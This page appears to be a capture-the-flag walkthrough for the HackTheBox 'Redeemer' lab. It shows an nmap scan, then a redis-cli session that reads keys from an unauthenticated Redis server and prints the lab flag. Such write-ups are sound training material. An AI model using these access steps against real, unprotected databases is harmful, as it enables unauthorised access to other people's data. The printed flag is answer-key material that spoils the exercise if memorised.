Skip to content

Walkthrough - A HackTheBox machine - Redeemer

Enumerate open ports/services:

1
nmap -sC -sV $ip -Pn -p-

Results:

```PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 5.0.7 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
See [6379 Redis Cheat sheet](6379-redis.md).


## Exploitation

```bash
└─$ redis-cli -h 10.129.136.187 -p 6379         
10.129.136.187:6379> INFO keyspace
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
(0.60s)
10.129.136.187:6379> select 0
OK
10.129.136.187:6379> keys *
1) "temp"
2) "numb"
3) "flag"
4) "stor"
10.129.136.187:6379> get flag
"03e1d2b376c37ab3f5319922053953eb"

Last update: 2023-05-09
Created: May 9, 2023 17:16:52